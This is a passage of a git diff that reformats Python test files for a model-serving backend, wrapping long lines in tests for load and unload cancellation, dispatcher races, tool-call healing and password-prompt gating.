lambda: _Llama()) - monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False) + monkeypatch.setattr( + inference_route, "is_registered_native_path_label", lambda *a: False + ) cancelled: list = [] @@ -751,7 +806,9 @@ def test_unload_route_cancels_in_flight_load_without_waiting_on_gate(monkeypatch assert kw._lifecycle_lock.acquire(blocking = False) try: # Even with the gate held, the loading-cancel must go through. - resp = await inference_route.unload_model(UnloadRequest(model_path = "m"), "tester") + resp = await inference_route.unload_model( + UnloadRequest(model_path = "m"), "tester" + ) assert resp.status == "unloaded" assert cancelled == ["m"] finally: @@ -787,7 +844,9 @@ def test_dispatched_bails_when_unload_flips_before_mailbox_registration(monkeypa monkeypatch.setattr(o, "_build_generate_cmd", flip) monkeypatch.setattr( - o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped") + o, + "_send_cmd", + lambda cmd: pytest.fail("must not send generate after the unload flipped"), ) out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}])) @@ -830,7 +889,9 @@ def test_dispatched_bails_when_model_swapped_before_mailbox_registration(monkeyp monkeypatch.setattr(o, "_build_generate_cmd", swap) monkeypatch.setattr( - o, "_send_cmd", lambda cmd: pytest.fail("must not generate on the swapped-in model") + o, + "_send_cmd", + lambda cmd: pytest.fail("must not generate on the swapped-in model"), ) out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}])) @@ -839,7 +900,9 @@ def test_dispatched_bails_when_model_swapped_before_mailbox_registration(monkeyp assert o._mailboxes == {}, "must not leave an orphaned mailbox" -def test_dispatched_bails_when_dispatcher_stopped_before_mailbox_registration(monkeypatch): +def test_dispatched_bails_when_dispatcher_stopped_before_mailbox_registration( + monkeypatch, +): # Same window, but the unload was a same-model reload so active_model_name is # unchanged; the give-away is that the dispatcher was stopped. Registering a # mailbox with no dispatcher to route the reply would hang the compare stream. @@ -857,7 +920,9 @@ def test_dispatched_bails_when_dispatcher_stopped_before_mailbox_registration(mo monkeypatch.setattr(o, "_build_generate_cmd", stop_dispatcher) monkeypatch.setattr( - o, "_send_cmd", lambda cmd: pytest.fail("must not generate with the dispatcher stopped") + o, + "_send_cmd", + lambda cmd: pytest.fail("must not generate with the dispatcher stopped"), ) out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}])) @@ -877,7 +942,9 @@ def test_dispatched_happy_path_registers_and_sends(monkeypatch): monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) monkeypatch.setattr(o, "_start_dispatcher", lambda: None) monkeypatch.setattr( - o, "_build_generate_cmd", lambda *a, **k: {"type": "generate", "request_id": "r1"} + o, + "_build_generate_cmd", + lambda *a, **k: {"type": "generate", "request_id": "r1"}, ) sent = [] monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd)) @@ -914,7 +981,9 @@ def test_load_model_aborts_when_cancelled_before_spawn(monkeypatch): monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False) monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: None) monkeypatch.setattr( - o, "_spawn_subprocess", lambda cfg: pytest.fail("must not spawn a worker after a cancel") + o, + "_spawn_subprocess", + lambda cfg: pytest.fail("must not spawn a worker after a cancel"), ) import utils.transformers_version as tv @@ -957,7 +1026,9 @@ def test_load_model_aborts_when_old_worker_survives_shutdown(monkeypatch): monkeypatch.setattr(o, "_cancel_generation", lambda: None) monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: False) # survivor monkeypatch.setattr( - o, "_spawn_subprocess", lambda cfg: pytest.fail("must not spawn over a live survivor") + o, + "_spawn_subprocess", + lambda cfg: pytest.fail("must not spawn over a live survivor"), ) with pytest.raises(RuntimeError, match = "did not exit"): @@ -988,7 +1059,9 @@ def test_load_model_proceeds_when_not_cancelled(monkeypatch): import utils.transformers_version as tv monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False) - monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda gpu_ids, **k: ([0], "sel")) + monkeypatch.setattr( + orch_mod, "prepare_gpu_selection", lambda gpu_ids, **k: ([0], "sel") + ) class _Cfg: identifier = "m" @@ -1018,7 +1091,9 @@ def test_load_model_aborts_when_cancelled_during_spawn(monkeypatch): o._proc = None monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False) monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False) - monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda gpu_ids, **k: ([0], "sel")) + monkeypatch.setattr( + orch_mod, "prepare_gpu_selection", lambda gpu_ids, **k: ([0], "sel") + ) # The cancel lands during the spawn window: cancel_load already discarded the # marker, but its teardown no-oped because _proc was not alive yet. @@ -1028,7 +1103,9 @@ def test_load_model_aborts_when_cancelled_during_spawn(monkeypatch): monkeypatch.setattr(o, "_spawn_subprocess", spawn_then_cancel) shutdown = [] - monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout)) + monkeypatch.setattr( + o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout) + ) monkeypatch.setattr( o, "_wait_response", @@ -1097,7 +1174,9 @@ def test_unload_cancels_loading_gguf_off_gate(monkeypatch): assert getattr(resp, "status", None) == "unloaded" assert llama.unloaded is True, "must cancel the loading GGUF via unload_model()" - assert gate_entered["v"] is False, "must handle the loading GGUF off the lifecycle gate" + assert ( + gate_entered["v"] is False + ), "must handle the loading GGUF off the lifecycle gate" def test_unload_loaded_gguf_still_uses_gate(monkeypatch): @@ -1232,7 +1311,9 @@ def test_cancel_load_clears_marker_before_shutdown(monkeypatch): monkeypatch.setattr(o, "_shutdown_subprocess", record_shutdown) monkeypatch.setattr( - o, "_send_cmd", lambda cmd: pytest.fail("cancel_load must not send a worker command") + o, + "_send_cmd", + lambda cmd: pytest.fail("cancel_load must not send a worker command"), ) assert o.cancel_load("m") is True @@ -1247,7 +1328,9 @@ def test_cancel_load_clears_marker_before_shutdown(monkeypatch): assert o.models == {} -def test_cancel_load_reclears_state_when_racing_load_repopulates_during_teardown(monkeypatch): +def test_cancel_load_reclears_state_when_racing_load_repopulates_during_teardown( + monkeypatch, +): # cancel_load (off the lifecycle gate) can race a load_model whose worker already # queued its successful "loaded" reply. cancel_load discards the loading marker and # clears the local mirrors, then tears the subprocess down; but the still-running @@ -1307,7 +1390,9 @@ def test_cancel_load_reclears_state_when_racing_load_repopulates_during_teardown # repopulating, mirroring the 0.5s cancel-settle inside the real _shutdown_subprocess. def racing_shutdown(timeout = 0.5): release_loaded.set() - assert load_done.wait(timeout = 5), "the racing load must repopulate during teardown" + assert load_done.wait( + timeout = 5 + ), "the racing load must repopulate during teardown" monkeypatch.setattr(o, "_shutdown_subprocess", racing_shutdown) @@ -1316,7 +1401,9 @@ def test_cancel_load_reclears_state_when_racing_load_repopulates_during_teardown # Fail-without: load_model set active_model_name/models during racing_shutdown and # cancel_load left them set, so the backend advertises a model whose worker was killed. - assert o.active_model_name is None, "cancel_load must not leave a repopulated active model" + assert ( + o.active_model_name is None + ), "cancel_load must not leave a repopulated active model" assert o.models == {}, "cancel_load must not leave a repopulated models mirror" assert "m" not in o.loading_models @@ -1364,14 +1451,18 @@ def test_dispatched_bail_stops_orphan_dispatcher_it_started(monkeypatch): monkeypatch.setattr(o, "_build_generate_cmd", flip) monkeypatch.setattr( - o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped") + o, + "_send_cmd", + lambda cmd: pytest.fail("must not send generate after the unload flipped"), ) out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}])) assert any("unloaded" in chunk.lower() for chunk in out) assert started["v"], "this call started the dispatcher" - assert stopped["v"], "the bail must stop the dispatcher it started (no other mailboxes)" + assert stopped[ + "v" + ], "the bail must stop the dispatcher it started (no other mailboxes)" assert o._mailboxes == {} @@ -1386,12 +1477,16 @@ def test_dispatched_bail_keeps_dispatcher_with_other_active_mailbox(monkeypatch) o._dispatcher_thread = None monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) monkeypatch.setattr( - o, "_start_dispatcher", lambda: setattr(o, "_dispatcher_thread", _AliveDispatcher()) + o, + "_start_dispatcher", + lambda: setattr(o, "_dispatcher_thread", _AliveDispatcher()), ) monkeypatch.setattr( o, "_stop_dispatcher", - lambda: pytest.fail("must not stop a dispatcher another compare request is using"), + lambda: pytest.fail( + "must not stop a dispatcher another compare request is using" + ), ) # A concurrent compare request registers its mailbox, then an unload flips the flag. @@ -1402,7 +1497,9 @@ def test_dispatched_bail_keeps_dispatcher_with_other_active_mailbox(monkeypatch) monkeypatch.setattr(o, "_build_generate_cmd", flip) monkeypatch.setattr( - o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped") + o, + "_send_cmd", + lambda cmd: pytest.fail("must not send generate after the unload flipped"), ) out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}])) @@ -1424,7 +1521,9 @@ def test_dispatched_bail_keeps_preexisting_dispatcher(monkeypatch): monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) monkeypatch.setattr(o, "_start_dispatcher", lambda: None) monkeypatch.setattr( - o, "_stop_dispatcher", lambda: pytest.fail("must not stop a pre-existing dispatcher") + o, + "_stop_dispatcher", + lambda: pytest.fail("must not stop a pre-existing dispatcher"), ) def flip(*a, **k): @@ -1433,7 +1532,9 @@ def test_dispatched_bail_keeps_preexisting_dispatcher(monkeypatch): monkeypatch.setattr(o, "_build_generate_cmd", flip) monkeypatch.setattr( - o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped") + o, + "_send_cmd", + lambda cmd: pytest.fail("must not send generate after the unload flipped"), ) out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}])) @@ -1476,7 +1577,9 @@ def test_load_model_aborts_publish_when_cancelled_after_wait_response(monkeypatc monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: None) parked = threading.Event() # load_model reached _wait_response("loaded") - cancel_done = threading.Event() # cancel_load fully returned (marker discarded + re-clear) + cancel_done = ( + threading.Event() + ) # cancel_load fully returned (marker discarded + re-clear) load_done = threading.Event() def blocking_wait_response(expected, timeout = 300.0): @@ -1521,7 +1624,9 @@ def test_load_model_aborts_publish_when_cancelled_after_wait_response(monkeypatc # Fail-without: load_model published active_model_name/models for 'm' AFTER cancel_load # returned, advertising a cancelled model over a killed subprocess. assert load_result.get("ok") is False, "the cancelled load must not report success" - assert o.active_model_name is None, "must not publish a cancelled model's active name" + assert ( + o.active_model_name is None + ), "must not publish a cancelled model's active name" assert o.models == {}, "must not publish a cancelled model's mirror" assert "m" not in o.loading_models @@ -1542,7 +1647,9 @@ def test_concurrent_start_dispatcher_spawns_exactly_one(): import queue as _queue o = _bare_orchestrator() - o._resp_queue = _queue.Queue() # real queue so the dispatcher loop blocks and stays alive + o._resp_queue = ( + _queue.Queue() + ) # real queue so the dispatcher loop blocks and stays alive o._mailbox_lock = threading.Lock() o._mailboxes = {} o._dispatcher_thread = None @@ -1571,11 +1678,15 @@ def test_concurrent_start_dispatcher_spawns_exactly_one(): try: # _start_dispatcher returns True only for the caller that actually spawned a thread. # Exactly one caller may win; every other must observe the dispatcher alive and bail. - assert results.count(True) == 1, f"expected exactly one spawn, got {results.count(True)}" + assert ( + results.count(True) == 1 + ), f"expected exactly one spawn, got {results.count(True)}" assert results.count(False) == n - 1 # And exactly one live dispatcher thread exists -- no orphan racing resp_queue. live = [ - t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive() + t + for t in threading.enumerate() + if t.name == "inference-dispatcher" and t.is_alive() ] assert len(live) == 1, f"expected one live dispatcher, found {len(live)}" assert o._dispatcher_thread is live[0] @@ -1585,7 +1696,9 @@ def test_concurrent_start_dispatcher_spawns_exactly_one(): # Stop joins and clears it; no dispatcher thread must survive. assert o._dispatcher_thread is None remaining = [ - t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive() + t + for t in threading.enumerate() + if t.name == "inference-dispatcher" and t.is_alive() ] assert remaining == [], "dispatcher must be stopped and joined" @@ -1609,7 +1722,9 @@ def test_start_dispatcher_refuses_while_unload_pending(): import queue as _queue o = _bare_orchestrator() - o._resp_queue = _queue.Queue() # a spawned dispatcher would block-read here and stay alive + o._resp_queue = ( + _queue.Queue() + ) # a spawned dispatcher would block-read here and stay alive o._dispatcher_thread = None o._dispatcher_stop = threading.Event() o._dispatcher_lifecycle_lock = threading.Lock() @@ -1619,7 +1734,11 @@ def test_start_dispatcher_refuses_while_unload_pending(): assert started is False, "must not start a dispatcher while an unload is pending" assert o._dispatcher_thread is None, "no dispatcher thread may be created" - live = [t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()] + live = [ + t + for t in threading.enumerate() + if t.name == "inference-dispatcher" and t.is_alive() + ] assert live == [], "no dispatcher may exist to consume the unloaded reply" @@ -1657,14 +1776,18 @@ def test_queued_start_behind_unload_stop_spawns_no_dispatcher(): import queue as _queue o = _bare_orchestrator() - o._resp_queue = _queue.Queue() # a spawned dispatcher would block-read here and stay alive + o._resp_queue = ( + _queue.Queue() + ) # a spawned dispatcher would block-read here and stay alive o._mailbox_lock = threading.Lock() o._mailboxes = {} o._dispatcher_stop = threading.Event() o._dispatcher_lifecycle_lock = threading.Lock() o._unload_pending = False - start_queued = threading.Event() # release the stop's join once the start is queued behind it + start_queued = ( + threading.Event() + ) # release the stop's join once the start is queued behind it join_may_finish = threading.Event() class _IdleDispatcher: @@ -1675,7 +1798,9 @@ def test_queued_start_behind_unload_stop_spawns_no_dispatcher(): return True def join(self, timeout = None): - assert start_queued.wait(timeout = 5), "compare start must queue behind the stop" + assert start_queued.wait( + timeout = 5 + ), "compare start must queue behind the stop" assert join_may_finish.wait(timeout = 5) o._dispatcher_thread = _IdleDispatcher() @@ -1709,7 +1834,15 @@ def test_queued_start_behind_unload_stop_spawns_no_dispatcher(): u.join(timeout = 5) c.join(timeout = 5) - assert started_result.get("v") is False, "the queued start must refuse while unloading" - assert o._dispatcher_thread is None, "the stop cleared it and the queued start spawned nothing" - live = [t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()] + assert ( + started_result.get("v") is False + ), "the queued start must refuse while unloading" + assert ( + o._dispatcher_thread is None + ), "the stop cleared it and the queued start spawned nothing" + live = [ + t + for t in threading.enumerate() + if t.name == "inference-dispatcher" and t.is_alive() + ] assert live == [], "no fresh dispatcher may be left to consume the unloaded reply" diff --git a/studio/backend/tests/test_passthrough_healing.py b/studio/backend/tests/test_passthrough_healing.py index da261e8d0d..a3079c0c68 100644 --- a/studio/backend/tests/test_passthrough_healing.py +++ b/studio/backend/tests/test_passthrough_healing.py @@ -135,7 +135,9 @@ class TestHealOpenaiMessage: assert heal_openai_message(msg, {"Bash"}, TOOLS) is False assert "tool_calls" not in msg - def test_mixed_declared_and_undeclared_promotes_declared_keeps_undeclared_text(self): + def test_mixed_declared_and_undeclared_promotes_declared_keeps_undeclared_text( + self, + ): # Span-exact removal: only the promoted Bash markup is dropped; the # undeclared Nuke call's text stays in the content byte-intact. content = f"pre {XML_BASH} mid {XML_UNDECLARED} post" @@ -158,7 +160,10 @@ class TestHealOpenaiMessage: content = f"{func_read} then {XML_BASH}" msg = {"role": "assistant", "content": content} assert heal_openai_message(msg, {"Bash", "Read"}) is True - assert [call["function"]["name"] for call in msg["tool_calls"]] == ["Read", "Bash"] + assert [call["function"]["name"] for call in msg["tool_calls"]] == [ + "Read", + "Bash", + ] assert msg["content"] == "then" def test_unparseable_closed_block_not_deleted(self): @@ -205,7 +210,10 @@ class TestStreamHealer: healer = StreamToolCallHealer({"Bash", "Read"}) func_read = "a.txt" events = healer.feed(f"{func_read} then {XML_BASH}") + healer.finalize() - assert [call["function"]["name"] for call in _events_calls(events)] == ["Read", "Bash"] + assert [call["function"]["name"] for call in _events_calls(events)] == [ + "Read", + "Bash", + ] assert _events_text(events).strip() == "then" def test_false_alarm_html_flushes(self): @@ -400,12 +408,22 @@ class TestNudgeHelpers: # The retry replaces the original only when it carries a USABLE call: # a structured call naming an undeclared tool must not count. undeclared = [ - {"id": "x", "type": "function", "function": {"name": "Nuke", "arguments": "{}"}} + { + "id": "x", + "type": "function", + "function": {"name": "Nuke", "arguments": "{}"}, + } ] declared = [ - {"id": "y", "type": "function", "function": {"name": "Bash", "arguments": "{}"}} + { + "id": "y", + "type": "function", + "function": {"name": "Bash", "arguments": "{}"}, + } ] - assert response_has_promotable_calls(self._resp("", undeclared), {"Bash"}) is False + assert ( + response_has_promotable_calls(self._resp("", undeclared), {"Bash"}) is False + ) assert response_has_promotable_calls(self._resp("", declared), {"Bash"}) is True def test_retry_with_mixed_structured_calls_is_not_an_improvement(self): @@ -413,12 +431,23 @@ class TestNudgeHelpers: # list (and a parallel cap could keep only the FIRST), so a mixed retry # could still hand the client an undeclared tool. mixed = [ - {"id": "x", "type": "function", "function": {"name": "Nuke", "arguments": "{}"}}, - {"id": "y", "type": "function", "function": {"name": "Bash", "arguments": "{}"}}, + { + "id": "x", + "type": "function", + "function": {"name": "Nuke", "arguments": "{}"}, + }, + { + "id": "y", + "type": "function", + "function": {"name": "Bash", "arguments": "{}"}, + }, ] assert response_has_promotable_calls(self._resp("", mixed), {"Bash"}) is False assert ( - response_has_promotable_calls(self._resp("", list(reversed(mixed))), {"Bash"}) is False + response_has_promotable_calls( + self._resp("", list(reversed(mixed))), {"Bash"} + ) + is False ) @pytest.mark.parametrize( @@ -518,7 +547,9 @@ class ScriptedClient: headers = None, ): self.posts.append(json) - return httpx.Response(200, json = self.bodies[min(len(self.posts) - 1, len(self.bodies) - 1)]) + return httpx.Response( + 200, json = self.bodies[min(len(self.posts) - 1, len(self.bodies) - 1)] + ) async def _drive_non_streaming(monkeypatch, payload, bodies): @@ -626,7 +657,9 @@ class TestOpenaiNonStreamingRoute: def test_undeclared_tool_not_promoted(self, monkeypatch): async def _run(): xml = '{"name":"rogue","arguments":{}}' - _, data = await _drive_non_streaming(monkeypatch, _payload(), [_upstream_message(xml)]) + _, data = await _drive_non_streaming( + monkeypatch, _payload(), [_upstream_message(xml)] + ) assert data["choices"][0]["message"]["content"] == xml assert "tool_calls" not in data["choices"][0]["message"] @@ -684,7 +717,9 @@ class TestOpenaiNonStreamingRoute: async def _run(): _, data = await _drive_non_streaming( monkeypatch, - _payload(tool_choice = {"type": "function", "function": {"name": "other"}}), + _payload( + tool_choice = {"type": "function", "function": {"name": "other"}} + ), [_upstream_message(LOOKUP_XML)], ) message = data["choices"][0]["message"] @@ -732,7 +767,9 @@ class TestOpenaiNonStreamingRoute: for ch in payload_data.get("choices", []): for tc in (ch.get("delta") or {}).get("tool_calls") or []: indexes.setdefault(tc["index"], tc.get("id")) - assert indexes.get(0, "").startswith("call_") and indexes[0] != "call_native" + assert ( + indexes.get(0, "").startswith("call_") and indexes[0] != "call_native" + ) assert indexes.get(1) == "call_native" asyncio.run(_run()) @@ -788,7 +825,9 @@ class TestNudgeRetryOpenai: assert len(client.posts) == 2 # exactly one retry # Prefix byte-identical, nudge suffix appended (KV-cache reuse guard). original, retry = client.posts - assert retry["messages"][: len(original["messages"])] == original["messages"] + assert ( + retry["messages"][: len(original["messages"])] == original["messages"] + ) suffix = retry["messages"][len(original["messages"]) :] assert [m["role"] for m in suffix] == ["assistant", "user"] assert suffix[0]["content"] == GARBAGE_SIGNAL @@ -804,7 +843,10 @@ class TestNudgeRetryOpenai: client, data = await _drive_non_streaming( monkeypatch, _payload(nudge_tool_calls = True), - [_upstream_message(GARBAGE_SIGNAL), _upstream_message(GARBAGE_SIGNAL + "2")], + [ + _upstream_message(GARBAGE_SIGNAL), + _upstream_message(GARBAGE_SIGNAL + "2"), + ], ) assert len(client.posts) == 2 assert data["choices"][0]["message"]["content"] == GARBAGE_SIGNAL @@ -898,7 +940,9 @@ class TestNudgeRetryAnthropic: def test_healed_tool_use_precedes_trailing_text(self, monkeypatch): async def _run(): - _, data = await self._drive(monkeypatch, [_upstream_message(f"{LOOKUP_XML} done")]) + _, data = await self._drive( + monkeypatch, [_upstream_message(f"{LOOKUP_XML} done")] + ) assert [block["type"] for block in data["content"]] == ["tool_use", "text"] assert data["content"][1]["text"] == "done" @@ -906,7 +950,9 @@ class TestNudgeRetryAnthropic: def test_default_off(self, monkeypatch): async def _run(): - client, _ = await self._drive(monkeypatch, [_upstream_message(GARBAGE_SIGNAL)]) + client, _ = await self._drive( + monkeypatch, [_upstream_message(GARBAGE_SIGNAL)] + ) assert len(client.posts) == 1 asyncio.run(_run()) @@ -1007,7 +1053,8 @@ class TestAnthropicEmitterHealing: (args,) = [ e["delta"]["partial_json"] for e in events - if e.get("type") == "content_block_delta" and e["delta"]["type"] == "input_json_delta" + if e.get("type") == "content_block_delta" + and e["delta"]["type"] == "input_json_delta" ] assert json.loads(args) == {"q": "x"} (message_delta,) = [e for e in events if e.get("type") == "message_delta"] @@ -1034,19 +1081,24 @@ class TestAnthropicEmitterHealing: texts = [ e["delta"]["text"] for e in events - if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta" + if e.get("type") == "content_block_delta" + and e["delta"]["type"] == "text_delta" ] assert "".join(texts) == "Let me check " def test_false_alarm_streams_as_text(self): events = self._events( self._emitter(), - [self._chunk(content = "use the
tag"), self._chunk(finish_reason = "stop")], + [ + self._chunk(content = "use the
tag"), + self._chunk(finish_reason = "stop"), + ], ) texts = [ e["delta"]["text"] for e in events - if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta" + if e.get("type") == "content_block_delta" + and e["delta"]["type"] == "text_delta" ] assert "".join(texts) == "use the
tag" (message_delta,) = [e for e in events if e.get("type") == "message_delta"] @@ -1066,7 +1118,8 @@ class TestAnthropicEmitterHealing: texts = [ e for e in events - if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta" + if e.get("type") == "content_block_delta" + and e["delta"]["type"] == "text_delta" ] assert texts == [] @@ -1097,14 +1150,18 @@ class TestAnthropicEmitterHealing: texts = [ e["delta"]["text"] for e in events - if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta" + if e.get("type") == "content_block_delta" + and e["delta"]["type"] == "text_delta" ] assert "".join(texts) == "held {"name":"lookup","arguments":{"q":"y"}}' + two = ( + LOOKUP_XML + + '{"name":"lookup","arguments":{"q":"y"}}' + ) events = self._events( self._emitter(disable_parallel_tool_use = True), [self._chunk(content = two), self._chunk(finish_reason = "stop")], @@ -1112,7 +1169,8 @@ class TestAnthropicEmitterHealing: starts = [ e for e in events - if e.get("type") == "content_block_start" and e["content_block"]["type"] == "tool_use" + if e.get("type") == "content_block_start" + and e["content_block"]["type"] == "tool_use" ] assert len(starts) == 1 @@ -1138,7 +1196,8 @@ class TestAnthropicEmitterHealing: starts = [ e for e in events - if e.get("type") == "content_block_start" and e["content_block"]["type"] == "tool_use" + if e.get("type") == "content_block_start" + and e["content_block"]["type"] == "tool_use" ] assert len(starts) == 1 @@ -1153,7 +1212,8 @@ class TestAnthropicEmitterHealing: texts = [ e["delta"]["text"] for e in events - if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta" + if e.get("type") == "content_block_delta" + and e["delta"]["type"] == "text_delta" ] assert "".join(texts) == LOOKUP_XML @@ -1229,7 +1289,9 @@ class TestAnthropicNonStreamingRoute: # stays in the text block (the legacy strip must not run after a # span-exact heal), matching the OpenAI passthrough. rogue = '{"name":"rogue","arguments":{}}' - _, data = await self._drive(monkeypatch, [_upstream_message(f"{LOOKUP_XML} {rogue}")]) + _, data = await self._drive( + monkeypatch, [_upstream_message(f"{LOOKUP_XML} {rogue}")] + ) (tool_block,) = [b for b in data["content"] if b["type"] == "tool_use"] assert tool_block["name"] == "lookup" (text_block,) = [b for b in data["content"] if b["type"] == "text"] @@ -1269,7 +1331,12 @@ class TestAnthropicNonStreamingRoute: class TestOpenaiStreamingRoute: def test_heals_streamed_xml(self, monkeypatch): async def _run(): - pieces = ["", '{"name":"lookup",', '"arguments":{"q":"x"}}', ""] + pieces = [ + "", + '{"name":"lookup",', + '"arguments":{"q":"x"}}', + "", + ] lines = [ 'data: {"id":"c1","model":"gguf","created":1,"choices":[{"index":0,"delta":{"content":%s}}]}' % json.dumps(p) @@ -1326,7 +1393,9 @@ class TestOpenaiStreamingRoute: 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}', "data: [DONE]", ] - chunks = await _drive_stream(monkeypatch, _payload(parallel_tool_calls = False), lines) + chunks = await _drive_stream( + monkeypatch, _payload(parallel_tool_calls = False), lines + ) payloads = _stream_payloads(chunks) tool_deltas = [ tc @@ -1443,7 +1512,10 @@ class TestHealerSignalAlignment: def test_bracket_tool_calls_still_promote_in_stream(self): healer = StreamToolCallHealer({"web_search"}) - events = healer.feed('[TOOL_CALLS]web_search{"query": "unsloth docs"}') + healer.finalize() + events = ( + healer.feed('[TOOL_CALLS]web_search{"query": "unsloth docs"}') + + healer.finalize() + ) (call,) = _events_calls(events) assert call["function"]["name"] == "web_search" assert healer.healed diff --git a/studio/backend/tests/test_password_prompt.py b/studio/backend/tests/test_password_prompt.py index 372d6a2aa4..21012d2a1d 100644 --- a/studio/backend/tests/test_password_prompt.py +++ b/studio/backend/tests/test_password_prompt.py @@ -177,7 +177,9 @@ def test_loop_success_applies_once(monkeypatch): def test_loop_short_password_reprompts(monkeypatch): - ok, applied, out = _run_loop(monkeypatch, _keys("short", "long-enough-pw", "long-enough-pw")) + ok, applied, out = _run_loop( + monkeypatch, _keys("short", "long-enough-pw", "long-enough-pw") + ) assert ok is True assert applied == ["long-enough-pw"] assert "at least 8 characters" in out @@ -306,7 +308,9 @@ def test_resolve_supplied_password_env(monkeypatch): def test_resolve_supplied_password_literal_beats_env(monkeypatch): import io monkeypatch.setenv(tp.SUPPLIED_PASSWORD_ENV, "env-secret-pw") - assert tp.resolve_supplied_password("cli-wins-pw", out = io.StringIO()) == "cli-wins-pw" + assert ( + tp.resolve_supplied_password("cli-wins-pw", out = io.StringIO()) == "cli-wins-pw" + ) def test_resolve_supplied_password_stdin_beats_env(monkeypatch): diff --git a/studio/backend/tests/test_password_prompt_backstop.py b/studio/backend/tests/test_password_prompt_backstop.py index 3c2c1956f9..095ce81983 100644 --- a/studio/backend/tests/test_password_prompt_backstop.py +++ b/studio/backend/tests/test_password_prompt_backstop.py @@ -90,7 +90,9 @@ def _patch_seeded_admin(monkeypatch, *, requires_change: bool) -> None: # The gate seeds the admin row itself (it can run before lifespan startup); # tests fake both the seeding no-op and the flag. monkeypatch.setattr(auth_storage, "ensure_default_admin", lambda: False) - monkeypatch.setattr(auth_storage, "requires_password_change", lambda u: requires_change) + monkeypatch.setattr( + auth_storage, "requires_password_change", lambda u: requires_change + ) def test_gate_skips_when_tunnel_off(monkeypatch): @@ -100,7 +102,10 @@ def test_gate_skips_when_tunnel_off(monkeypatch): monkeypatch.setattr(auth_storage, "requires_password_change", _boom) monkeypatch.setattr(auth_storage, "ensure_default_admin", _boom) - assert run._terminal_password_gate(tunnel_will_start = False, **_GATE_KWARGS) == (True, False) + assert run._terminal_password_gate(tunnel_will_start = False, **_GATE_KWARGS) == ( + True, + False, + ) def test_gate_skips_when_password_already_changed(monkeypatch): @@ -111,7 +116,10 @@ def test_gate_skips_when_password_already_changed(monkeypatch): "prompt_for_password_change", lambda **k: pytest.fail("prompt must not run when no change is required"), ) - assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == (True, False) + assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == ( + True, + False, + ) def test_gate_warns_and_proceeds_without_tty_when_deadline_arms(monkeypatch): @@ -124,7 +132,10 @@ def test_gate_warns_and_proceeds_without_tty_when_deadline_arms(monkeypatch): lambda **k: pytest.fail("prompt must not run without a tty"), ) # Proceeds, but the public HTML must not auto-fill the default credential. - assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == (True, True) + assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == ( + True, + True, + ) out = stderr.getvalue() assert "default admin password is still active" in out assert "UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT" in out @@ -144,7 +155,10 @@ def test_gate_fails_closed_without_tty_when_deadline_cannot_arm(monkeypatch): kwargs = dict(_GATE_KWARGS) kwargs["api_only"] = True kwargs["frontend_served"] = False - assert run._terminal_password_gate(tunnel_will_start = True, **kwargs) == (False, False) + assert run._terminal_password_gate(tunnel_will_start = True, **kwargs) == ( + False, + False, + ) assert "Refusing to publish" in stderr.getvalue() @@ -152,7 +166,10 @@ def test_gate_fails_closed_without_tty_when_deadline_disabled(monkeypatch): stderr = _patch_streams(monkeypatch, tty = False) _patch_seeded_admin(monkeypatch, requires_change = True) monkeypatch.setenv("UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT", "0") - assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == (False, False) + assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == ( + False, + False, + ) assert "Refusing to publish" in stderr.getvalue() @@ -163,14 +180,22 @@ def test_gate_treats_broken_streams_as_non_interactive(monkeypatch): monkeypatch.setattr(sys, "stderr", stderr) _patch_seeded_admin(monkeypatch, requires_change = True) monkeypatch.delenv("UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT", raising = False) - assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == (True, True) + assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == ( + True, + True, + ) def test_gate_refusal_fails_closed(monkeypatch): _patch_streams(monkeypatch, tty = True) _patch_seeded_admin(monkeypatch, requires_change = True) - monkeypatch.setattr(terminal_prompt, "prompt_for_password_change", lambda **k: False) - assert 